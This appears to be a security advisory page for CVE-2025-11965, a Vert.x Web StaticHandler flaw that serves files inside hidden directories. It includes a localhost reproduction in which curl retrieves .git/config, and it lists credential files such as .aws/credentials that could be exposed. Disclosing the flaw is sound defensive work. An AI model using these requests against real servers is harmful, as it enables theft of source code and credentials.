ghsa-h5fg-jpgr-rv9c
Vulnerability from github
Description
There is a flaw in the hidden file protection feature of Vert.x Web’s StaticHandler when setIncludeHidden(false) is configured.
In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (.) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:
- Files under hidden directories: For example,
/.secret/config.txt— although.secretis a hidden directory, the fileconfig.txtitself does not start with a dot, so it gets served. - Real-world impact: Sensitive files placed in hidden directories like
.git,.env,.awsmay become publicly accessible.
As a result, the behavior does not meet the expectations set by the includeHidden=false configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.
Steps to Reproduce
```bash 1. Prepare test environment
Create directory structure
mkdir -p src/test/resources/webroot/.secret mkdir -p src/test/resources/webroot/.git
Place test files
echo "This is a visible file" > src/test/resources/webroot/visible.txt echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt echo "Git config data" > src/test/resources/webroot/.git/config ```
```java 2. Implement test server
import io.vertx.core.AbstractVerticle; import io.vertx.core.Vertx; import io.vertx.ext.web.Router; import io.vertx.ext.web.handler.StaticHandler;
public class StaticHandlerTestServer extends AbstractVerticle { @Override public void start() { Router router = Router.router(vertx);
// Configure to not serve hidden files
StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot")
.setIncludeHidden(false)
.setDirectoryListing(false);
router.route("/*").handler(staticHandler);
vertx.createHttpServer()
.requestHandler(router)
.listen(8082);
}
public static void main(String[] args) { Vertx vertx = Vertx.vertx(); vertx.deployVerticle(new StaticHandlerTestServer()); } } ```
```bash 3. Confirm the vulnerability
Normal file (accessible)
curl http://localhost:8082/visible.txt
Result: 200 OK
Hidden file (correctly blocked)
curl http://localhost:8082/.git
Result: 404 Not Found
File under hidden directory (vulnerable)
curl http://localhost:8082/.git/config
Result: 200 OK - Returns contents of Git config
```
Potential Impact
1. Information Disclosure
Examples of sensitive files that could be exposed:
.git/config: Git repository settings (e.g., remote URL, credentials).env/*: Environment variables (API keys, DB credentials).aws/credentials: AWS access keys.ssh/known_hosts: SSH host trust info.docker/config.json: Docker registry credentials
2. Attack Scenarios
- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.
- Especially dangerous for
.git/HEAD,.git/config,.git/objects/*— which may allow full reconstruction of source code.
3. Affected Scope
- Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)
- Environments: All OSes (Windows, Linux, macOS)
- Configurations: All applications using
StaticHandler.setIncludeHidden(false)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.4"
},
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11965"
],
"database_specific": {
"cwe_ids": [
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-22T19:38:04Z",
"nvd_published_at": "2025-10-22T15:15:31Z",
"severity": "MODERATE"
},
"details": "# Description\n\nThere is a flaw in the hidden file protection feature of Vert.x Web\u2019s `StaticHandler` when `setIncludeHidden(false)` is configured.\n\nIn the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (`.`) are treated as \u201chidden\u201d and are blocked from being served. However, this logic fails in the following cases:\n\n- **Files under hidden directories**: For example, `/.secret/config.txt` \u2014 although `.secret` is a hidden directory, the file `config.txt` itself does not start with a dot, so it gets served.\n- **Real-world impact**: Sensitive files placed in hidden directories like `.git`, `.env`, `.aws` may become publicly accessible.\n\nAs a result, the behavior does not meet the expectations set by the `includeHidden=false` configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.\n\n# Steps to Reproduce\n\n```bash\n1. Prepare test environment\n\n# Create directory structure\nmkdir -p src/test/resources/webroot/.secret\nmkdir -p src/test/resources/webroot/.git\n\n# Place test files\necho \"This is a visible file\" \u003e src/test/resources/webroot/visible.txt\necho \"This is a hidden file\" \u003e src/test/resources/webroot/.hidden.txt\necho \"SECRET DATA: API_KEY=abc123\" \u003e src/test/resources/webroot/.secret/config.txt\necho \"Git config data\" \u003e src/test/resources/webroot/.git/config\n```\n\n```java\n2. Implement test server\n\nimport io.vertx.core.AbstractVerticle;\nimport io.vertx.core.Vertx;\nimport io.vertx.ext.web.Router;\nimport io.vertx.ext.web.handler.StaticHandler;\n\npublic class StaticHandlerTestServer extends AbstractVerticle {\n @Override\n public void start() {\n Router router = Router.router(vertx);\n\n // Configure to not serve hidden files\n StaticHandler staticHandler = StaticHandler.create(\"src/test/resources/webroot\")\n .setIncludeHidden(false)\n .setDirectoryListing(false);\n\n router.route(\"/*\").handler(staticHandler);\n\n vertx.createHttpServer()\n .requestHandler(router)\n .listen(8082);\n }\n\n public static void main(String[] args) {\n Vertx vertx = Vertx.vertx();\n vertx.deployVerticle(new StaticHandlerTestServer());\n }\n}\n```\n\n```bash\n3. Confirm the vulnerability\n\n# Normal file (accessible)\ncurl http://localhost:8082/visible.txt\n# Result: 200 OK\n\n# Hidden file (correctly blocked)\ncurl http://localhost:8082/.git\n# Result: 404 Not Found\n\n# File under hidden directory (vulnerable)\ncurl http://localhost:8082/.git/config\n# Result: 200 OK - Returns contents of Git config\n```\n\n# Potential Impact\n\n## 1. Information Disclosure\n\nExamples of sensitive files that could be exposed:\n\n- `.git/config`: Git repository settings (e.g., remote URL, credentials)\n- `.env/*`: Environment variables (API keys, DB credentials)\n- `.aws/credentials`: AWS access keys\n- `.ssh/known_hosts`: SSH host trust info\n- `.docker/config.json`: Docker registry credentials\n\n## 2. Attack Scenarios\n\n- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.\n- Especially dangerous for `.git/HEAD`, `.git/config`, `.git/objects/*` \u2014 which may allow full reconstruction of source code.\n\n## 3. Affected Scope\n\n- **Affected version**: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)\n- **Environments**: All OSes (Windows, Linux, macOS)\n- **Configurations**: All applications using `StaticHandler.setIncludeHidden(false)`",
"id": "GHSA-h5fg-jpgr-rv9c",
"modified": "2025-10-22T19:38:04Z",
"published": "2025-10-22T19:38:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-h5fg-jpgr-rv9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11965"
},
{
"type": "PACKAGE",
"url": "https://github.com/vert-x3/vertx-web"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/304"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vert.x-Web Access Control Flaw in StaticHandler\u2019s Hidden File Protection for Files Under Hidden Directories"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.